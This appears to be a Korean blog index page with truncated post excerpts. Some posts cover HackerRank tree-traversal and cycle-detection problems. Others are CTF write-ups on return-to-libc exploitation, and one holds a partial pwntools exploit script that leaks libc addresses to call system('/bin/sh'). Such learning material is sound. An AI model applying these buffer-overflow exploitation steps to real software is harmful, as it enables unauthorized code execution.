전체 글

전체 글

    PreOrder/InOrder/PostOrder

    https://www.hackerrank.com/challenges/tree-preorder-traversal/problem Tree: Preorder Traversal | HackerRank Print the preorder traversal of a binary tree. www.hackerrank.com PreOrder VLR 순서로 트리를 순회하는 방식; prefix void preOrder( struct node *root) { if(root){ printf("%d ", root->data); preOrder(root->left); preOrder(root->right); } } cf. InOrder LVR 순서로 트리를 순회하는 방식; infix void inOrder( struct node ..

    Cycle Detection

    https://www.hackerrank.com/challenges/detect-whether-a-linked-list-contains-a-cycle/problem Cycle Detection | HackerRank Given a pointer to the head of a linked list, determine whether the linked list loops back onto itself www.hackerrank.com [DataStructure/Medium] 연결리스트 내에 cycle이 있는지 boolean값으로 리턴하는 함수 has_cycle()을 작성하는 문제 head 노드를 인자로 받고 그 노드를 기준으로 연결리스트를 탐색하며 cycle이 있는지 확인해야한다. 함수 내부에 주석처리를 한..

    RTL_x64

    checksec IDA로 pseudo code 확인 19-21: printf("inpupt: ", argv); argv = (const char **)&buf; read(0, &buf, 0x60uLL); 주소 구하기 / offset 구하기 pop rdi; ret : 0x400a13 Exploit from pwn import * context.log_level="debug" p=process("./RTL_x64") elf=ELF("./RTL_x64") p.sendlineafter("> ", "2") p.recvuntil("printf() addr: ") printf=int(p.recvuntil('\n'),16) log.info(hex(printf)) sysAdd=printf - 66672 binsh=pri..

    [TAMU 2018] pwn4

    checksec IDA로 바이너리 분석 ls(), cal(), pwd(), whoami() disassemble main+37: reduced_shell 함수 호출 주소 구하기/offset 구하기 Exploit 입력받는 문자열 s의 크기: 1C = 28 byte >> 28 + SFP(4) = 32byte system 주소를 elf.plt['system']으로 구함

    [HITCON] Training lab4 ret2libc

    checksec ret2lib은 32bit 바이너리 파일, Partial RELRO 적용 NX enabled >> RTL 기법 사용 analyze pseudo code (IDA) See_something(v8); // v8 = strtol(&buf, v3, v4); Print_message(&src); // read(0, &src, 0x100u); >> 문자열 src에 256byte(100)만큼 입력받음 인자로 전달받은 변수(*a1)의 주소를 출력 >> 원하는 변수의 주소를 알고 싶을 때 인자로 변수를 전달해 그 주소를 알아낼 수 있음 인자로 전달받은 src를 dest에 복사 >> 256byte만큼 입력받은 src를 dest에 복사 이 때, dest의 크기는 38= 56byte로 OVERFLOW 취약점 ..

    RTL (Return to libc)

    https://www.lazenca.net/pages/viewpage.action?pageId=16810038 03.RTL(Return to libc) - TechNote - Lazenca.0x0 페이지 … TechNote 02.TechNote 05.Basic exploitation techniques 배너의 맨 끝으로 배너의 맨 처음으로 03.RTL(Return to libc) 메타 데이터의 끝으로 건너뛰기 Lazenca.0x0님이 작성, 4월 11, 2018에 최종 변경 메타 데이� www.lazenca.net return address 영역을 공유 라이브러리 함수의 주소로 변경해 함수를 호출하는 방식 → NX bit 우회 가능 목표: system함수의 주소와 "/bin/sh"의 주소를 알아내 sys..